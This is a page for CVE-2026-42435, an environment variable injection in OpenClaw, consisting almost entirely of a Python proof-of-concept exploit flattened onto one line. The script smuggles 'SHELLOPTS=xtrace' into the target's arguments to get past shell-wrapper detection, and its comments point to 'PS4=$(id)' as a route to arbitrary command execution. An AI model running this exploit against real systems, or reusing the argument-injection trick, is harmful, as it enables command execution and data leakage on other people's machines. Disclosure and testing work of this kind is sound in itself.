CVE-2026-42435 OpenClaw环境变量注入漏洞

import subprocess import sys # PoC for CVE-2026-42435: OpenClaw Environment Variable Injection # This script demonstrates how an attacker can inject environment variables # via argv to bypass shell-wrapper detection and manipulate shell behavior. def exploit_openclaw(target_binary_path, command): # Construct the malicious payload # We inject 'SHELLOPTS=xtrace' to force debug mode and potentially leak data # Alternatively, 'PS4=$(id)' could be used to execute arbitrary commands during tracing payload = "SHELLOPTS=xtrace" print(f"[*] Attempting to exploit {target_binary_path}...") print(f"[*] Injecting payload: {payload}") try: # The vulnerability allows passing variable assignments as arguments # The vulnerable application passes these directly to the shell args = [target_binary_path, payload, command] # Execute the command result = subprocess.run( args, capture_output=True, text=True, timeout=5 ) print("[+] Exploit executed. Output:") print(result.stdout) if result.stderr: print("[-] Error output (might contain debug info due to xtrace):") print(result.stderr) # Check if SHELLOPTS was effectively set (heuristic check) if "+" in result.stderr or "trace" in result.stderr.lower(): print("[+] Potential success: Debug traces detected in output.") except FileNotFoundError: print("[-] Error: Target binary not found.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py /path/to/openclaw "ls" if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <openclaw_path> <command_to_run>") sys.exit(1) exploit_openclaw(sys.argv[1], sys.argv[2])